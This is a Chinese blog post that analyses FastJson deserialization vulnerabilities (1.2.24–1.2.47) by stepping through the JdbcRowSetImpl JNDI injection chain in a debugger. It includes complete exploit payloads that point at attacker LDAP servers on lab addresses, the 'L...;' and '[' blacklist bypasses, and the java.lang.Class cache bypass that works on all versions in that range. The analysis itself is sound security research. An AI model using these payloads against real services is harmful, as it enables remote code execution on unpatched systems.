目录
0x00 前言
0x01 基础参考
JNDI注入实例
使用@type加入User类解析
FastJson历史漏洞简介
0x02 FastJson 1.2.24 利用链分析
调试过程
构造Poc思路
CC链关键流程
0x03 FastJson 1.2.25-1.2.47 利用链分析
1、开启autoTypeSupport:1.2.25-1.2.41
调试过程
构造Poc思路
CC链关键流程
疑问
2、通杀方案:1.2.25-1.2.47(checkAutotype绕过)
CC链关键流程
构造Poc思路
0x00 前言
希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!
个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser's Blog
0x01 基础参考
JNDI注入实例
关于 javax.naming.InitialContext.lookup(),在我之前的文章讲过,不再赘述
文章链接:JNDI注入&Log4j&FastJson&白盒审计&不回显处理-CSDN博客
方式1:
new InitialContext().lookup("ldap://192.168.196.128:1389/anqqyh");
方式2:
InitialContext var1 = new InitialContext();
DataSource lookup = (DataSource) var1.lookup("ldap://192.168.196.128:1389/anqqyh");
使用@type加入User类解析
String userStr = "{\"@type\":\"com.example.fastjsondemo.demos.web.User\",\"age\":21,\"name\":\"ch4ser\"}";
JSONObject data = JSON.parseObject(userStr);
System.out.println(data);
观察到 FastJson 解析 JSON 字符串时会自动执行类的 get 和 set 方法,这是因为 FastJson 反序列化用的是自定义方法,而不是原生的反序列化(原生的并不会执行类的 get 和 set 方法),这也是后续利用的关键点
FastJson历史漏洞简介
1.2.24及以下没有对序列化的类做校验,导致漏洞产生
1.2.25-1.2.41增加了黑名单限制,更改autoType默认为关闭选项。
1.2.42版本是对1.2.41及以下版本的黑名单绕过,代码内更新字符串黑名单hash方式
1.2.43版本是对1.2.42及以下版本的黑名单绕过
1.2.44-1.2.45版本1.2.43版本黑名单无法绕过,寻找新的利用链进行利用
1.2.47版本 利用fastjson处理Class类时的操作,将恶意类加载到缓存中,实现攻击
1.2.62-1.2.67版本Class不会再往缓存中加载恶意类,寻找新的利用链进行突破
1.2.68版本,使用期望类AutoCloseable来绕过fastjson校验
1.2.72-1.2.80使用期望类Throwable的子类,进行绕过
0x02 FastJson 1.2.24 利用链分析
Poc:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.196.128:1389/5ltgie",
"autoCommit":true
}
调试过程
在 JSON.parseObject(Pocstr) 处打上断点,后续进行动态调试分析
步入,发现 parseObject() 其实也会用到 parse(),这里的 parse() 是 JSONObject 类的方法
步入,这里首先创建一个 DefaultJSONParser 对象,然后调用 parse() 方法来解析 JSON 字符串
DefaultJSONParser 是 FastJson 解析 JSON 字符串的核心组件,parse() 是 DefaultJSONParser 类中的一个方法
整个解析过程分为两个阶段:
1、判断是否为 JSON 字符串格式
2、键(key) 、值(value) 的获取
来到 DefaultJSONParser.class,关注到如下代码:
1、判断 key 是否等于 DEFAULT_TYPE_KEY(即@type)
2、调用 scanSymbol 方法解析出 key 对应的 value
3、通过 loadClass 获取指定类的 Class 对象并赋值给变量 clazz(涉及Java反射机制)
继续跟进,这里通过 getDeserializer 获取反序列化器,然后调用其 deserialze 方法进行反序列化
点击调试窗的 Navigate,来到对应反序列化的类 JdbcRowSetImpl.class
发现该类的 connect() 方法使用了 InitialContext.lookup(),这就是造成JNDI 注入的关键点
继续搜索发现 setAutoCommit 方法调用了 connect 方法
构造Poc思路
1、由于 lookup() 传入的变量为 this.getDataSourceName(),想到可以控制 dataSourceName 值,让其等于 ldap://192.168.196.128:1389/5ltgie 构造 JNDI 注入
2、由于 setAutoCommit 调用了 connect,那么控制 autoCommit 为 true 即可触发
3、完整的 Poc 为:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.196.128:1389/5ltgie",
"autoCommit":true
}
CC链关键流程
parseObject->parse->key(@type)->TypeUtils.loadClass->ObjectDeserializer(反序列化)->
JdbcRowSetImpl->setDataSourceName->dataSource->setAutoCommit->connect->lookup(JNDI注入)
0x03 FastJson 1.2.25-1.2.47 利用链分析
1、开启autoTypeSupport:1.2.25-1.2.41
1、autoTypeSupport?
autoTypeSupport默认是关闭的
2、怎么打开autoTypeSupport?
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
2、Poc?
在原来基础上前加 "L",后加 ";"
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://192.168.196.128:1389/anqqyh",
"autoCommit":true
}
调试过程
在 JSON.parseObject(Pocstr) 处打上断点,后续进行动态调试分析
来到 DefaultJSONParser.class,与之前不同的是这里新增了 checkAutoType 方法,顾名思义就是用来检测 autoTypeSupport 的
步入,由于开启了 autoTypeSupport=true,所以这里进行了白、黑名单检测
我没有进行任何修改情况下,白名单默认是空的,黑名单有22个
经过白、黑名单后,下一步又来到了熟悉的 loadClass
步入,发现其做了两个处理:
1、若 className 开头为 "]",则获取去掉后 "]" 的 Class 对象
2、若 className 开头为 "L" 且结尾为 ";",则获取去掉 "L" 和 ";" 后的 Class 对象
在未处理前,className 如下:
在处理后,className 如下:
由此可见又变回了 com.sun.rowset.JdbcRowSetImpl,后续操作同理,不再赘述
构造Poc思路
1、由于 loadClass 对以"L"为开头且以";"为结尾的className做了去除处理,所以只需前加"L"后加";"即可
3、完整的 Poc 为:
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://192.168.196.128:1389/anqqyh",
"autoCommit":true
}
CC链关键流程
checkAutoType->denyList[i]->this.config.getDeserializer(clazz)->loadClass->newClassName
疑问
若默认关闭autoTypeSupport,整个Poc执行流程是怎样的呢?如下:
来到 DefaultJSONParser.class,可以看到这里 autoTypeSupport 是为 false的,所以没有像开启时一样进入这个白、黑名单判断
而是来到了下面这个黑、白名单判断
紧接着来到了下面的 if 判断,最终抛出了异常,GG掉了
后续版本绕过思路(开启 autoTypeSupport 情况):
1.2.42 版本:
该版本先判断反序列化目标类的类名前后是不是 'L' 和 ';'
若是,则先去掉 'L' 和 ';' ,再黑白名单校验
其绕过非常简单,只需要双写 'L' 和 ';'
1.2.43 版本:
黑白名单判断前,新增了一个是否以 'LL' 开头的判断
若以 'LL' 开头,则直接抛异常,非常随意解决了双写的问题
但是除了'L' 和 ';',FastJson在加载类的时候,对 '[' 也特殊处理了
其绕过为在前面添加 '['
1.2.44 版本:
来了个狠的,只要你以 '[' 开头或者 ';' 结尾,直接抛异常,终于解决了缠绵多个版本的漏洞
2、通杀方案:1.2.25-1.2.47(checkAutotype绕过)
1、poc?
testStr={
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.139.1:1389/lvkr9r",
"autoCommit":true
}
}
这种通杀方案不需要开启 autoTypeSupport,同样我也跟着调试了一遍,但是跟的不是很清晰,后来问师傅才知道为什么这个 poc 要这样写。
CC链关键流程
FastJson有一个全局缓存机制:在解析json数据前会先加载相关配置,调用addBaseClassMappings()和loadClass()函数将一些基础类和第三方库存放到mappings中(mappings是ConcurrentMap类,所以我们在一次连接中传入两个键值a和b,之后在解析时,如果没有开启autotype,会从mappings或deserializers.findClass()函数中获取反序列化的对应类,如果有,则直接返回绕过了黑名单。利用的是java.lang.Class类,其反序列化处理类MiscCodec类可以将任意类加载到mappings中,实现了目标。
第一步利用java.lang.Class将恶意类加载到mappings中;
第二步从在checkAutoType内部,没有开启autotype,直接从mappings中获取mappings中取出恶意类并绕过黑名单进行了反序列化。
构造Poc思路
简单来说,可以理解为 java.lang.Class 是白名单,先用 a 的 java.lang.Class 白名单把 com.sun.rowset.JdbcRowSetImpl 恶意类加载到 mappings,然后到处理 b 的时候就直接从 mappings 拿数据,就不会进入到黑名单了